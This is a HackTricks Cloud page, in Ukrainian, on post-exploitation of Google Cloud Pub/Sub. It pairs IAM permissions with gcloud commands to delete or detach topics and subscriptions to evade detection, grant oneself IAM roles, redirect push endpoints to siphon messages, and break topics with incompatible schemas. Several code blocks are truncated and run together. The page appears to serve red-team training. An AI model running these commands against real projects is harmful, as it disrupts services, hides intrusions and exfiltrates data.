GCP - Pub/Sub Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Pub/Sub
Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:
pubsub.topics.publish
Публікує повідомлення в topic, корисно для надсилання несподіваних даних та ініціювання несподіваної поведінки або експлуатації вразливостей:
Опублікувати повідомлення в topic
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Корисно, щоб запобігти отриманню підпискою повідомлень, наприклад для уникнення виявлення.
Від'єднати підписку від topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Корисно, щоб запобігти отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.
Можна видалити топік навіть якщо до нього приєднані підписки.
Видалити топік
```bash gcloud pubsub topics deletepubsub.topics.update
Використовуйте цей дозвіл, щоб змінити деякі налаштування теми й порушити її роботу, наприклад --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Надайте собі дозвіл виконувати будь-яку з попередніх атак.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Отримати всі повідомлення на веб-сервері:
Створити push subscription, щоб отримувати повідомлення
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createСтворіть підписку і використайте її для витягування повідомлень:
Створити pull-підписку та отримати повідомлення
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Видалення підписки** може бути корисним для порушення роботи системи обробки логів або чогось подібного:
<details>
<summary>Видалити підписку</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Скористайтеся цим дозволом, щоб змінити налаштування так, щоб повідомлення зберігалися у місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб порушити їхню доставку.
Оновити кінцеву точку підписки
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Надайте собі дозволи, необхідні для виконання будь-якої з попередньо описаних attacks.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Прикріпіть схему до топіка так, щоб повідомлення не відповідали їй і, відповідно, топік було порушено.
Якщо схем немає, можливо, доведеться створити її.
Створіть файл схеми та прикріпіть до топіка
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Може здатися, що видаливши schema, ви зможете надсилати повідомлення, які їй не відповідають. Однак, оскільки schema буде видалено, жодне повідомлення фактично не потрапить у topic. Отже це НЕКОРИСНО:
Видалити schema (не корисно)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Надайте собі дозволи, необхідні для виконання будь-якої з раніше зазначених атак.
pubsub.snapshots.create, pubsub.snapshots.seek
Це створить snapshot усіх unACKed messages і поставить їх назад у subscription. Не дуже корисно для атакувальника, але ось:
Створити snapshot і виконати seek до нього
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

